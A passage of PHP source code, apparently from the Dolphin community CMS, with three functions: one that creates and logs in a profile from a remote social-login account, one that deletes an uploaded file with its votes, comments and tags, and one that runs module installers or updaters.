$oPrivacy->getDefaultValueModule('profile', 'view_block'); // check if user with the same email already exists $iExistingProfileId = $this->_oDb->isEmailExisting($aProfileFields['Email']); // check redirect page if ('join' == $this->_oConfig->sRedirectPage && !$iExistingProfileId) { return array('remote_profile_info' => $aProfileInfo, 'profile_fields' => $aProfileFields, 'join_page_redirect' => true); } // create new profile if ($iExistingProfileId) { $iProfileId = $iExistingProfileId; } else { $iProfileId = $this->_oDb->createProfile($aProfileFields); } $oProfileFields = new BxDolProfilesController(); // remember remote profile id for created member $this->_oDb->saveRemoteId($iProfileId, $aProfileInfo['id']); // check profile status; if (!$iExistingProfileId) { if (getParam('autoApproval_ifNoConfEmail') == 'on') { if (getParam('autoApproval_ifJoin') == 'on') { $sProfileStatus = 'Active'; if (!empty($aProfileInfo['email'])) { $oProfileFields->sendActivationMail($iProfileId); } } else { $sProfileStatus = 'Approval'; if (!empty($aProfileInfo['email'])) { $oProfileFields->sendApprovalMail($iProfileId); } } } else { if (!empty($aProfileInfo['email'])) { $oProfileFields->sendConfMail($iProfileId); $sProfileStatus = 'Unconfirmed'; } else { if (getParam('autoApproval_ifJoin') == 'on') { $sProfileStatus = 'Active'; } else { $sProfileStatus = 'Approval'; } } } // update profile's status; $this->_oDb->updateProfileStatus($iProfileId, $sProfileStatus); $oProfileFields->createProfileCache($iProfileId); // send email notification if (!empty($aProfileInfo['email'])) { $oEmailTemplate = new BxDolEmailTemplates(); $aTemplate = $oEmailTemplate->getTemplate($this->_oConfig->sEmailTemplatePasswordGenerated, $iProfileId); $aNewProfileInfo = getProfileInfo($iProfileId); $aPlus = array('NickName' => getNickName($aNewProfileInfo['ID']), 'NewPassword' => $sNewPassword); sendMail($aNewProfileInfo['Email'], $aTemplate['Subject'], $aTemplate['Body'], '', $aPlus); } // update location if (BxDolModule::getInstance('BxWmapModule')) { BxDolService::call('wmap', 'response_entry_add', array('profiles', $iProfileId)); } // create system event $oZ = new BxDolAlerts('profile', 'join', $iProfileId); $oZ->alert(); } // store IP bx_member_ip_store($iProfileId); // auto-friend members if they are already friends on remote site if ($isAutoFriends && method_exists($this, '_makeFriends')) { $this->_makeFriends($iProfileId); } // set logged if ($isSetLoggedIn) { $aProfile = getProfileInfo($iProfileId); $this->setLogged($iProfileId, $aProfile['Password'], '', false); } return array('remote_profile_info' => $aProfileInfo, 'profile_id' => $iProfileId, 'existing_profile' => $iExistingProfileId ? true : false); }
function _deleteFile($iFileId) { $aInfo = $this->serviceCheckDelete($iFileId); if (!$aInfo) { return false; } if ($this->_oDb->deleteData($iFileId)) { $aFilesPostfix = $this->_oConfig->aFilePostfix; //delete temp files $aFilesPostfix['temp'] = ''; if (isset($aFilesPostfix['original'])) { $aFilesPostfix['original'] = $this->_getOriginalExt($aInfo, $aFilesPostfix['original']); } foreach ($aFilesPostfix as $sValue) { $sFilePath = $this->_oConfig->getFilesPath() . $iFileId . $sValue; @unlink($sFilePath); } bx_import('BxDolVoting'); $oVoting = new BxDolVoting($this->_oConfig->getMainPrefix(), 0, 0); $oVoting->deleteVotings($iFileId); bx_import('BxDolCmts'); $oCmts = new BxDolCmts($this->_oConfig->getMainPrefix(), $iFileId); $oCmts->onObjectDelete(); bx_import('BxDolCategories'); //tags & categories parsing $oTag = new BxDolTags(); $oTag->reparseObjTags($this->_oConfig->getMainPrefix(), $iFileId); $oCateg = new BxDolCategories(); $oCateg->reparseObjTags($this->_oConfig->getMainPrefix(), $iFileId); $bUpdateCounter = $aInfo['Approved'] == 'approved' ? true : false; $this->oAlbums->removeObjectTotal($iFileId, $bUpdateCounter); //delete all subscriptions $oSubscription = BxDolSubscription::getInstance(); $oSubscription->unsubscribe(array('type' => 'object_id', 'unit' => $this->_oConfig->getMainPrefix(), 'object_id' => $iFileId)); bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts($this->_oConfig->getMainPrefix(), 'delete', $iFileId, $this->_iProfileId, $aInfo); $oAlert->alert(); $this->isAllowedDelete($aInfo, true); } else { return false; } return true; }
function _perform($aDirectories, $sOperation, $aParams = array()) { $sConfigFile = 'install/config.php'; $sInstallerFile = 'install/installer.php'; $sInstallerClass = $sOperation == 'update' ? 'Updater' : 'Installer'; $aPlanks = array(); foreach ($aDirectories as $sDirectory) { $sPathConfig = BX_DIRECTORY_PATH_MODULES . $sDirectory . $sConfigFile; $sPathInstaller = BX_DIRECTORY_PATH_MODULES . $sDirectory . $sInstallerFile; if (file_exists($sPathConfig) && file_exists($sPathInstaller)) { include $sPathConfig; require_once $sPathInstaller; $sClassName = $aConfig['class_prefix'] . $sInstallerClass; $oInstaller = new $sClassName($aConfig); $aResult = $oInstaller->{$sOperation}($aParams); bx_import('BxDolAlerts'); $o = new BxDolAlerts('module', $sOperation, 0, 0, array('uri' => $aConfig['home_uri'], 'config' => $aConfig, 'installer' => $oInstaller, 'res' => $aResult)); $o->alert(); if (!$aResult['result'] && empty($aResult['message'])) { continue; } } else { $aResult = array('operation_title' => _t('_adm_txt_modules_process_operation_failed', $sOperation, $sDirectory), 'message' => ''); } $aPlanks[] = array('operation_title' => $aResult['operation_title'], 'bx_if:operation_result_success' => array('condition' => $aResult['result'], 'content' => array()), 'bx_if:operation_result_failed' => array('condition' => !$aResult['result'], 'content' => array()), 'message' => $aResult['message']); } return $GLOBALS['oAdmTemplate']->parseHtmlByName('modules_results.html', array('bx_repeat:planks' => $aPlanks)); }